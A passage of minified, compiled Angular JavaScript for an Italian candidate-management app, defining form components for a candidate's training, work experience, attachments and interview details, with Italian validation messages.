new(e||un)(z.Pb(C.e))},un.\u0275cmp=z.Jb({type:un,selectors:[["app-candidate-view-edit-formazione"]],features:[z.zb],decls:19,vars:14,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"form-group"],[1,"card-body__title","d-inline"],[1,"form-group","mt-4"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","formazione",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],[1,"form-group__bar"],["type","checkbox","formControlName","certificazione",1,"toggle-switch__checkbox"],[1,"col-md-6",3,"hidden"],[1,"card-body__title"],["type","text","formControlName","titoloFormazione",3,"ngClass"],[1,"invalid-tooltip"],["placeholder","","mode","month","format","MM / YYYY","locale","it","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["type","text","formControlName","enteFormatore",3,"ngClass"],["type","text","formControlName","name_certification",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","issuer",3,"items","ngClass","addTag","addTagText"],["type","text","formControlName","certificate_id",3,"ngClass"],["type","text","formControlName","certificate_url",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"h4",2),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(5,"div",3),z.Vb(6,"div",4),z.Vb(7,"accordion",5),z.Gc(8,mn,101,94,"accordion-group",6),z.Ub(),z.Ub(),z.Vb(9,"div",7),z.Qb(10,"br"),z.Vb(11,"a",8),z.cc("click",function(){return t.addItem()}),z.Qb(12,"i",9),z.Ic(13),z.hc(14,"translate"),z.Ub(),z.Vb(15,"a",10),z.cc("click",function(){return t.removeEmpty(t._form)}),z.Qb(16,"i",11),z.Ic(17),z.hc(18,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(3),z.Kc(" ",z.ic(4,6,"Formazione")," "),z.Cb(2),z.nc("ngClass",z.rc(12,gn,t.rowStyle)),z.Cb(3),z.nc("ngForOf",t._form.controls),z.Cb(1),z.nc("hidden",!t._isInEdit),z.Cb(4),z.Kc("",z.ic(14,8,"Aggiungi Formazione")," "),z.Cb(4),z.Kc("",z.ic(18,10,"Rimuovi Formazioni Vuote")," "))},directives:[S.l,Ue.a,S.m,Ue.c,S.n,C.o,C.i,C.a,C.n,C.g,C.c,T.a,A.a],pipes:[E.c],styles:[""]}),un);function fn(e,t){if(1&e){var i=z.Wb();z.Vb(0,"span",31),z.cc("click",function(){z.Ac(i);var e=z.gc().index;return z.gc()._form.removeAt(e)}),z.Qb(1,"i",32),z.Ub()}if(2&e){var n=z.gc(2);z.nc("hidden",!n._isInEdit)}}var vn=function(e){return["form-control",e]},hn=function(e){return["form-control","border-select",e]},Cn=function(e){return["form-control","textareaCustom",e]};function Vn(e,t){if(1&e&&(z.Vb(0,"accordion-group",12),z.Vb(1,"button",13),z.Vb(2,"div",14),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Vb(5,"div",15),z.Vb(6,"span",16),z.Qb(7,"i",17),z.Ub(),z.Gc(8,fn,2,1,"span",18),z.Ub(),z.Ub(),z.Vb(9,"div",19),z.Vb(10,"div",20),z.Vb(11,"h3",21),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Vb(14,"div",22),z.Qb(15,"input",23),z.Qb(16,"i",24),z.Vb(17,"div",25),z.Ic(18),z.hc(19,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(20,"div",20),z.Vb(21,"h3",21),z.Ic(22),z.hc(23,"translate"),z.Ub(),z.Vb(24,"div",22),z.Qb(25,"input",26),z.Qb(26,"i",24),z.Vb(27,"div",25),z.Ic(28),z.hc(29,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(30,"div",20),z.Vb(31,"h3",21),z.Ic(32),z.hc(33,"translate"),z.Ub(),z.Vb(34,"div",22),z.Qb(35,"input",27),z.Qb(36,"i",24),z.Vb(37,"div",25),z.Ic(38),z.hc(39,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(40,"div",20),z.Vb(41,"h3",21),z.Ic(42),z.hc(43,"translate"),z.Ub(),z.Vb(44,"div",22),z.Vb(45,"app-datetime-manager",28),z.cc("modelChange",function(e){return t.$implicit.controls.exp_startDate.value=e}),z.Ub(),z.Ub(),z.Ub(),z.Vb(46,"div",20),z.Vb(47,"h3",21),z.Ic(48),z.hc(49,"translate"),z.Ub(),z.Vb(50,"div",22),z.Vb(51,"app-datetime-manager",28),z.cc("modelChange",function(e){return t.$implicit.controls.exp_endDate.value=e}),z.Ub(),z.Ub(),z.Ub(),z.Vb(52,"div",20),z.Vb(53,"h3",21),z.Ic(54),z.hc(55,"translate"),z.Ub(),z.Vb(56,"div",22),z.Qb(57,"ng-select",29),z.hc(58,"translate"),z.Vb(59,"div",25),z.Ic(60),z.hc(61,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(62,"div",4),z.Vb(63,"h3",21),z.Ic(64),z.hc(65,"translate"),z.Ub(),z.Vb(66,"div",22),z.Vb(67,"textarea",30),z.Ic(68,"                        "),z.Ub(),z.Qb(69,"i",24),z.Vb(70,"div",25),z.Ic(71),z.hc(72,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=t.index,a=z.gc();z.Cb(3),z.Kc(" ",i.controls.exp_jobTitle.value?i.controls.exp_jobTitle.value+(i.controls.company_name.value?" ("+i.controls.company_name.value+")":""):z.ic(4,29,"Esperienza")+" #"+(n+1)," "),z.Cb(5),z.nc("ngIf",a._form.length>1),z.Cb(1),z.nc("formGroup",i),z.Cb(3),z.Kc("",z.ic(13,31,"Mansione")," "),z.Cb(3),z.nc("ngClass",z.rc(57,vn,a.validateField("exp_jobTitle",i,a.isInEdit))),z.Cb(3),z.Jc(z.ic(19,33,"La mansione \xe8 obbligatoria e non pu\xf2 superare i 30 caratteri!")),z.Cb(4),z.Jc(z.ic(23,35,"Azienda")),z.Cb(3),z.nc("ngClass",z.rc(59,vn,a.validateField("company_name",i,a.isInEdit))),z.Cb(3),z.Jc(z.ic(29,37,"Il nome dell'azienda \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")),z.Cb(4),z.Jc(z.ic(33,39,"Citt\xe0")),z.Cb(3),z.nc("ngClass",z.rc(61,vn,a.validateField("location",i,a.isInEdit))),z.Cb(3),z.Jc(z.ic(39,41,"La citt\xe0 dove si \xe8 svolto il lavoro \xe8 obbligatoria!")),z.Cb(4),z.Jc(z.ic(43,43,"Data di inizio")),z.Cb(3),z.nc("disabled",a._form.disabled)("model",i.controls.exp_startDate.value)("inputClass",z.rc(63,vn,a.validateField("exp_startDate",i,a.isInEdit))),z.Cb(3),z.Kc("",z.ic(49,45,"Data di fine")," "),z.Cb(3),z.nc("disabled",a._form.disabled)("model",i.controls.exp_endDate.value)("inputClass",z.rc(65,vn,a.validateField("exp_endDate",i,a.isInEdit))),z.Cb(3),z.Kc("",z.ic(55,47,"Industry")," "),z.Cb(3),z.nc("items",a.options.industryListOpt)("ngClass",z.rc(67,hn,a.validateField("exp_industry",i,a.isInEdit)))("addTag",!0)("addTagText",z.ic(58,49,"Premi invio per aggiungere il nuovo valore")),z.Cb(3),z.Jc(z.ic(61,51,"Seleziona il settore dove hai svolto questa mansione!")),z.Cb(4),z.Kc("",z.ic(65,53,"Descrizione")," "),z.Cb(3),z.nc("ngClass",z.rc(69,Cn,a.validateField("description",i,a.isInEdit))),z.Cb(4),z.Jc(z.ic(72,55,"La descrizione non pu\xf2 superare i 500 caratteri!"))}}var Un,_n=function(e){return["row",e]},In=((Un=function(e){i(n,e);var t=a(n);function n(e){return b(this,n),t.call(this,e,"FormArray",!0)}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({exp_jobTitle:[null],company_name:[null],location:[null],exp_startDate:[null],exp_endDate:[null],description:[null],exp_industry:[null]})}}]),n}(le.a)).\u0275fac=function(e){return new(e||Un)(z.Pb(C.e))},Un.\u0275cmp=z.Jb({type:Un,selectors:[["app-candidate-view-edit-esperienza"]],features:[z.zb],decls:19,vars:14,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],[1,"form-group"],["type","text","formControlName","exp_jobTitle",3,"ngClass"],[1,"form-group__bar"],[1,"invalid-tooltip"],["type","text","formControlName","company_name",3,"ngClass"],["type","text","formControlName","location",3,"ngClass"],["placeholder","","mode","month","format","MM / YYYY","locale","it","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["bindLabel","name","bindValue","name","placeholder","","formControlName","exp_industry",3,"items","ngClass","addTag","addTagText"],["formControlName","description","autosize","","placeholder","",3,"ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"h4",2),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(5,"div",3),z.Vb(6,"div",4),z.Vb(7,"accordion",5),z.Gc(8,Vn,73,71,"accordion-group",6),z.Ub(),z.Ub(),z.Vb(9,"div",7),z.Qb(10,"br"),z.Vb(11,"a",8),z.cc("click",function(){return t.addItem()}),z.Qb(12,"i",9),z.Ic(13),z.hc(14,"translate"),z.Ub(),z.Vb(15,"a",10),z.cc("click",function(){return t.removeEmpty(t._form)}),z.Qb(16,"i",11),z.Ic(17),z.hc(18,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(3),z.Kc(" ",z.ic(4,6,"Esperienza")," "),z.Cb(2),z.nc("ngClass",z.rc(12,_n,t.rowStyle)),z.Cb(3),z.nc("ngForOf",t._form.controls),z.Cb(1),z.nc("hidden",!t._isInEdit),z.Cb(4),z.Kc("",z.ic(14,8,"Aggiungi Esperienza")," "),z.Cb(4),z.Kc("",z.ic(18,10,"Rimuovi Esperienze Vuote")," "))},directives:[S.l,Ue.a,S.m,Ue.c,S.n,C.o,C.i,C.c,C.n,C.g,T.a,A.a,g.a],pipes:[E.c],styles:[""]}),Un),yn=function(e){return["form-control",e]},xn=function(e){return["form-control","border-select",e]};function On(e,t){if(1&e){var i=z.Wb();z.Vb(0,"accordion-group",12),z.Vb(1,"button",13),z.Vb(2,"div",14),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Vb(5,"div",15),z.Vb(6,"span",16),z.Qb(7,"i",17),z.Ub(),z.Vb(8,"span",18),z.cc("click",function(){z.Ac(i);var e=t.index;return z.gc()._form.removeAt(e)}),z.Qb(9,"i",19),z.Ub(),z.Ub(),z.Ub(),z.Vb(10,"div",20),z.Vb(11,"div",4),z.Vb(12,"h3",21),z.Ic(13),z.hc(14,"translate"),z.Ub(),z.Vb(15,"div",22),z.Qb(16,"app-file-manager"),z.Ub(),z.Ub(),z.Vb(17,"div",23),z.Vb(18,"h3",21),z.Ic(19),z.hc(20,"translate"),z.Ub(),z.Vb(21,"div",22),z.Qb(22,"input",24),z.Qb(23,"i",25),z.Ub(),z.Ub(),z.Vb(24,"div",23),z.Vb(25,"h3",21),z.Ic(26),z.hc(27,"translate"),z.Ub(),z.Vb(28,"div",22),z.Qb(29,"ng-select",26),z.Ub(),z.Ub(),z.Ub(),z.Ub()}if(2&e){var n=t.$implicit,a=t.index,o=z.gc();z.Cb(3),z.Kc(" ",n.controls.filename.value?n.controls.filename.value:z.ic(4,9,"Allegato")+" #"+(a+1)," "),z.Cb(5),z.nc("hidden",!o._isInEdit),z.Cb(2),z.nc("formGroup",n),z.Cb(3),z.Kc("",z.ic(14,11,"File")," "),z.Cb(6),z.Jc(z.ic(20,13,"Nome file")),z.Cb(3),z.nc("ngClass",z.rc(17,yn,o.validateField("filename",n,o.isInEdit))),z.Cb(4),z.Jc(z.ic(27,15,"Categoria")),z.Cb(3),z.nc("items",o.options.categoryOptions)("ngClass",z.rc(19,xn,o.validateField("category",n,o.isInEdit)))}}var zn,kn=function(e){return["row",e]},wn=((zn=function(e){i(n,e);var t=a(n);function n(e){var i;return b(this,n),(i=t.call(this,e,"FormArray",!0)).dropzoneCfgAllegati={url:x.a.apiUrl+"endpoint-sbagliato",maxFilesize:50,acceptedFiles:"image/*"},i}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({category:[null],filename:[null]})}}]),n}(le.a)).\u0275fac=function(e){return new(e||zn)(z.Pb(C.e))},zn.\u0275cmp=z.Jb({type:zn,selectors:[["app-candidate-view-edit-allegati"]],features:[z.zb],decls:19,vars:14,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"],[1,"row",3,"formGroup"],[1,"card-body__title"],[1,"form-group"],[1,"col-md-6"],["type","text","formControlName","filename",3,"ngClass"],[1,"form-group__bar"],["bindLabel","name","bindValue","id","placeholder","","formControlName","category",3,"items","ngClass"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"h4",2),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(5,"div",3),z.Vb(6,"div",4),z.Vb(7,"accordion",5),z.Gc(8,On,30,21,"accordion-group",6),z.Ub(),z.Ub(),z.Vb(9,"div",7),z.Qb(10,"br"),z.Vb(11,"a",8),z.cc("click",function(){return t.addItem()}),z.Qb(12,"i",9),z.Ic(13),z.hc(14,"translate"),z.Ub(),z.Vb(15,"a",10),z.cc("click",function(){return t.removeEmpty(t._form,!0)}),z.Qb(16,"i",11),z.Ic(17),z.hc(18,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(3),z.Kc(" ",z.ic(4,6,"Allegati")," "),z.Cb(2),z.nc("ngClass",z.rc(12,kn,t.rowStyle)),z.Cb(3),z.nc("ngForOf",t._form.controls),z.Cb(1),z.nc("hidden",!t._isInEdit),z.Cb(4),z.Kc("",z.ic(14,8,"Aggiungi Allegato")," "),z.Cb(4),z.Kc("",z.ic(18,10,"Rimuovi Allegati Vuoti")," "))},directives:[S.l,Ue.a,S.m,Ue.c,C.o,C.i,se.a,C.c,C.n,C.g,A.a],pipes:[E.c],styles:[""]}),zn);function Fn(e,t){if(1&e){var i=z.Wb();z.Vb(0,"span",60),z.cc("click",function(){z.Ac(i);var e=z.gc().index;return z.gc()._form.removeAt(e)}),z.Qb(1,"i",61),z.Ub()}if(2&e){var n=z.gc(2);z.nc("hidden",!n._isInEdit)}}var Qn=function(e){return["form-control",e]},Sn=function(e){return["form-control","border-select",e]},Tn=function(e){return["form-control","textareaCustom",e]};function An(e,t){if(1&e&&(z.Vb(0,"accordion-group",12),z.Vb(1,"button",13),z.Vb(2,"div",14),z.Ic(3),z.hc(4,"translate"),z.Ub(),z.Vb(5,"div",15),z.Vb(6,"span",16),z.Qb(7,"i",17),z.Ub(),z.Gc(8,Fn,2,1,"span",18),z.Ub(),z.Ub(),z.Vb(9,"div",19),z.Vb(10,"div",20),z.Vb(11,"div",21),z.Vb(12,"div",22),z.Vb(13,"div",23),z.Vb(14,"div",24),z.Vb(15,"h3",25),z.Ic(16),z.hc(17,"translate"),z.Ub(),z.Ub(),z.Vb(18,"div",26),z.Vb(19,"div",27),z.Qb(20,"input",28),z.Qb(21,"i",29),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(22,"div",22),z.Vb(23,"div",23),z.Vb(24,"div",24),z.Vb(25,"h3",25),z.Ic(26),z.hc(27,"translate"),z.Ub(),z.Ub(),z.Vb(28,"div",26),z.Vb(29,"div",27),z.Qb(30,"input",30),z.Qb(31,"i",29),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(32,"div",22),z.Vb(33,"div",23),z.Vb(34,"div",24),z.Vb(35,"h3",25),z.Ic(36),z.hc(37,"translate"),z.Ub(),z.Ub(),z.Vb(38,"div",26),z.Vb(39,"div",27),z.Qb(40,"input",31),z.Qb(41,"i",29),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(42,"div",22),z.Vb(43,"div",4),z.Qb(44,"input",32),z.Qb(45,"i",33),z.Ub(),z.Ub(),z.Vb(46,"div",22),z.Vb(47,"div",23),z.Vb(48,"div",24),z.Vb(49,"h3",25),z.Ic(50),z.hc(51,"translate"),z.Ub(),z.Ub(),z.Vb(52,"div",26),z.Vb(53,"div",27),z.Qb(54,"input",34),z.Qb(55,"i",29),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(56,"div",22),z.Vb(57,"div",4),z.Qb(58,"input",35),z.Qb(59,"i",33),z.Ub(),z.Ub(),z.Vb(60,"div",22),z.Vb(61,"div",23),z.Vb(62,"div",24),z.Vb(63,"h3",25),z.Ic(64),z.hc(65,"translate"),z.Ub(),z.Ub(),z.Vb(66,"div",26),z.Vb(67,"div",27),z.Qb(68,"input",36),z.Qb(69,"i",29),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(70,"div",22),z.Vb(71,"div",4),z.Qb(72,"input",37),z.Qb(73,"i",33),z.Ub(),z.Ub(),z.Vb(74,"div",22),z.Vb(75,"div",23),z.Vb(76,"div",24),z.Vb(77,"h3",25),z.Ic(78),z.hc(79,"translate"),z.Ub(),z.Ub(),z.Vb(80,"div",26),z.Vb(81,"div",27),z.Qb(82,"input",38),z.Qb(83,"i",29),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Vb(84,"div",22),z.Vb(85,"div",4),z.Qb(86,"input",39),z.Qb(87,"i",33),z.Ub(),z.Ub(),z.Vb(88,"div",22),z.Vb(89,"h3",40),z.Ic(90),z.hc(91,"translate"),z.Ub(),z.Vb(92,"div",41),z.Qb(93,"ng-select",42),z.hc(94,"translate"),z.Ub(),z.Ub(),z.Vb(95,"div",4),z.Vb(96,"h3",40),z.Ic(97),z.hc(98,"translate"),z.Ub(),z.Vb(99,"div",41),z.Vb(100,"textarea",43),z.Ic(101,"                                    "),z.Ub(),z.Qb(102,"i",33),z.Vb(103,"div",44),z.Ic(104),z.hc(105,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(106,"div",22),z.Vb(107,"h3",40),z.Ic(108),z.hc(109,"translate"),z.Ub(),z.Vb(110,"div",41),z.Vb(111,"app-datetime-manager",45),z.cc("modelChange",function(e){return t.$implicit.controls.availability_date.value=e}),z.Ub(),z.Ub(),z.Ub(),z.Vb(112,"div",22),z.Vb(113,"h3",40),z.Ic(114),z.hc(115,"translate"),z.Ub(),z.Vb(116,"div",41),z.Qb(117,"input",46),z.Ub(),z.Ub(),z.Vb(118,"div",22),z.Vb(119,"h3",40),z.Ic(120),z.hc(121,"translate"),z.Ub(),z.Vb(122,"div",41),z.Qb(123,"input",47),z.Qb(124,"i",33),z.Ub(),z.Ub(),z.Vb(125,"div",22),z.Vb(126,"h3",40),z.Ic(127),z.hc(128,"translate"),z.Ub(),z.Vb(129,"div",41),z.Qb(130,"input",48),z.Qb(131,"i",33),z.Ub(),z.Ub(),z.Vb(132,"div",22),z.Vb(133,"h3",40),z.Ic(134),z.hc(135,"translate"),z.Ub(),z.Vb(136,"div",41),z.Qb(137,"ng-select",49),z.Ub(),z.Ub(),z.Vb(138,"div",22),z.Vb(139,"h3",40),z.Ic(140),z.hc(141,"translate"),z.Ub(),z.Vb(142,"div",41),z.Qb(143,"input",50),z.Ub(),z.Ub(),z.Vb(144,"div",22),z.Vb(145,"h3",40),z.Ic(146),z.hc(147,"translate"),z.Ub(),z.Vb(148,"div",41),z.Qb(149,"input",51),z.Qb(150,"i",33),z.Ub(),z.Ub(),z.Vb(151,"div",22),z.Vb(152,"h3",40),z.Ic(153),z.hc(154,"translate"),z.Ub(),z.Vb(155,"div",41),z.Qb(156,"ng-select",52),z.hc(157,"translate"),z.Vb(158,"div",44),z.Ic(159),z.hc(160,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(161,"div",22),z.Vb(162,"h3",40),z.Ic(163),z.hc(164,"translate"),z.Ub(),z.Vb(165,"div",41),z.Qb(166,"input",53),z.Qb(167,"i",33),z.Ub(),z.Ub(),z.Vb(168,"div",22),z.Vb(169,"h3",40),z.Ic(170),z.hc(171,"translate"),z.Ub(),z.Vb(172,"div",41),z.Qb(173,"input",54),z.Qb(174,"i",33),z.Ub(),z.Ub(),z.Vb(175,"div",22),z.Vb(176,"h3",40),z.Ic(177),z.hc(178,"translate"),z.Ub(),z.Vb(179,"div",41),z.Qb(180,"input",55),z.Qb(181,"i",33),z.Ub(),z.Ub(),z.Vb(182,"div",22),z.Vb(183,"h3",40),z.Ic(184),z.hc(185,"translate"),z.Ub(),z.Vb(186,"div",41),z.Qb(187,"ng-select",56),z.Ub(),z.Ub(),z.Vb(188,"div",22),z.Vb(189,"h3",40),z.Ic(190),z.hc(191,"translate"),z.Ub(),z.Vb(192,"div",41),z.Qb(193,"input",57),z.Qb(194,"i",33),z.Ub(),z.Ub(),z.Vb(195,"div",4),z.Vb(196,"h3",40),z.Ic(197),z.hc(198,"translate"),z.Ub(),z.Vb(199,"div",41),z.Vb(200,"textarea",58),z.Ic(201,"                                    "),z.Ub(),z.Qb(202,"i",33),z.Vb(203,"div",44),z.Ic(204),z.hc(205,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(206,"div",4),z.Vb(207,"h3",40),z.Ic(208),z.hc(209,"translate"),z.Ub(),z.Vb(210,"div",41),z.Vb(211,"textarea",59),z.Ic(212,"                                    "),z.Ub(),z.Qb(213,"i",33),z.Vb(214,"div",44),z.Ic(215),z.hc(216,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e){var i=t.$implicit,n=t.index,a=z.gc();z.Cb(3),z.Kc(" ",i.controls.type_interview.value?i.controls.type_interview.value+" "+i.controls.type_interview.value:z.ic(4,66,"Colloquio")+" #"+(n+1)," "),z.Cb(5),z.nc("ngIf",a._form.length>1),z.Cb(1),z.nc("formGroup",i),z.Cb(7),z.Jc(z.ic(17,68,"Disponibile a spostarsi")),z.Cb(10),z.Kc("",z.ic(27,70,"\xc8 ambizioso")," "),z.Cb(10),z.Kc("",z.ic(37,72,"Ha l'automobile")," "),z.Cb(8),z.nc("readonly",!i.controls.hasCarCheck.value)("ngClass",z.rc(126,Qn,a.validateField("hasCarText",i,a.isInEdit))),z.Cb(6),z.Kc("",z.ic(51,74,"Buono pasto")," "),z.Cb(8),z.nc("readonly",!i.controls.launch_couponCheck.value)("ngClass",z.rc(128,Qn,a.validateField("launch_couponText",i,a.isInEdit))),z.Cb(6),z.Kc("",z.ic(65,76,"In cerca di lavoro")," "),z.Cb(8),z.nc("readonly",!i.controls.isSearchingJobCheck.value)("ngClass",z.rc(130,Qn,a.validateField("isSearchingJobText",i,a.isInEdit))),z.Cb(6),z.Kc("",z.ic(79,78,"Assicurazione")," "),z.Cb(8),z.nc("readonly",!i.controls.insuranceCheck.value)("ngClass",z.rc(132,Qn,a.validateField("insuranceText",i,a.isInEdit))),z.Cb(4),z.Kc("",z.ic(91,80,"Tipo di Intervista")," "),z.Cb(3),z.nc("items",a.options.type_interview_options)("ngClass",z.rc(134,Sn,a.validateField("type_interview",i,a.isInEdit)))("addTag",!0)("addTagText",z.ic(94,82,"Premi invio per aggiungere il nuovo valore")),z.Cb(4),z.Kc("",z.ic(98,84,"Percorso Professionale")," "),z.Cb(3),z.nc("ngClass",z.rc(136,Tn,a.validateField("profPath",i,a.isInEdit))),z.Cb(4),z.Jc(z.ic(105,86,"La descrizione del percorso professionale non pu\xf2 essere superiori a 500 caratteri!")),z.Cb(4),z.Jc(z.ic(109,88,"Disponibile da")),z.Cb(3),z.nc("disabled",a._form.disabled)("model",i.controls.availability_date.value)("inputClass",z.rc(138,Qn,a.validateField("availability_date",i,a.isInEdit))),z.Cb(3),z.Kc("",z.ic(115,90,"RAL")," "),z.Cb(3),z.nc("ngClass",z.rc(140,Qn,a.validateField("ral",i,a.isInEdit))),z.Cb(3),z.Kc("",z.ic(121,92,"Ccnl")," "),z.Cb(3),z.nc("ngClass",z.rc(142,Qn,a.validateField("ccnl",i,a.isInEdit))),z.Cb(4),z.Kc("",z.ic(128,94,"Desiderata")," "),z.Cb(3),z.nc("ngClass",z.rc(144,Qn,a.validateField("desired_salary",i,a.isInEdit))),z.Cb(4),z.Kc("",z.ic(135,96,"Livello")," "),z.Cb(3),z.nc("items",a.options.livelloOptions)("ngClass",z.rc(146,Sn,a.validateField("level",i,a.isInEdit))),z.Cb(3),z.Kc("",z.ic(141,98,"Indennit\xe0 / Bonus Variabile")," "),z.Cb(3),z.nc("ngClass",z.rc(148,Qn,a.validateField("bonus",i,a.isInEdit))),z.Cb(3),z.Kc("",z.ic(147,100,"Motivazione al cambiamento")," "),z.Cb(3),z.nc("ngClass",z.rc(150,Qn,a.validateField("whyIsChangingJob",i,a.isInEdit))),z.Cb(4),z.Kc("",z.ic(154,102,"Settori di interesse")," "),z.Cb(3),z.nc("items",a.options.industryListOpt)("ngClass",z.rc(152,Sn,a.validateArrayField("col_industry",i,a.isInEdit)))("addTag",!0)("multiple",!0)("addTagText",z.ic(157,104,"Premi invio per aggiungere il nuovo valore")),z.Cb(3),z.Jc(z.ic(160,106,"Seleziona l'industria di interesse!")),z.Cb(4),z.Kc("",z.ic(164,108,"Clienti Corrispondenti")," "),z.Cb(3),z.nc("ngClass",z.rc(154,Qn,a.validateField("clients_matching",i,a.isInEdit))),z.Cb(4),z.Kc("",z.ic(171,110,"Soft Skills")," "),z.Cb(3),z.nc("ngClass",z.rc(156,Qn,a.validateField("soft_skills",i,a.isInEdit))),z.Cb(4),z.Jc(z.ic(178,112,"Periodo di preavviso")),z.Cb(3),z.nc("ngClass",z.rc(158,Qn,a.validateField("preavviso",i,a.isInEdit))),z.Cb(4),z.Kc("",z.ic(185,114,"Valutazione Generale")," "),z.Cb(3),z.nc("items",a.options.valutazioneOptions)("ngClass",z.rc(160,Sn,a.validateField("general_overview",i,a.isInEdit))),z.Cb(3),z.Kc("",z.ic(191,116,"Referenze Esterne")," "),z.Cb(3),z.nc("ngClass",z.rc(162,Qn,a.validateField("externalReference",i,a.isInEdit))),z.Cb(4),z.Kc("",z.ic(198,118,"Aspirazioni Professionali")," "),z.Cb(3),z.nc("ngClass",z.rc(164,Tn,a.validateField("prof_aspirations",i,a.isInEdit))),z.Cb(4),z.Jc(z.ic(205,120,"La descrizione delle aspirazioni professionali non pu\xf2 essere superiori a 100 caratteri!")),z.Cb(4),z.Kc("",z.ic(209,122,"Note aggiuntive")," "),z.Cb(3),z.nc("ngClass",z.rc(166,Tn,a.validateField("col_note",i,a.isInEdit))),z.Cb(4),z.Jc(z.ic(216,124,"Le note non possono essere superiori a 500 caratteri!"))}}var Ln,En=function(e){return["row",e]},Nn=((Ln=function(e){i(n,e);var t=a(n);function n(e){return b(this,n),t.call(this,e,"FormArray",!0)}return m(n,[{key:"newInnerFormItem",get:function(){return 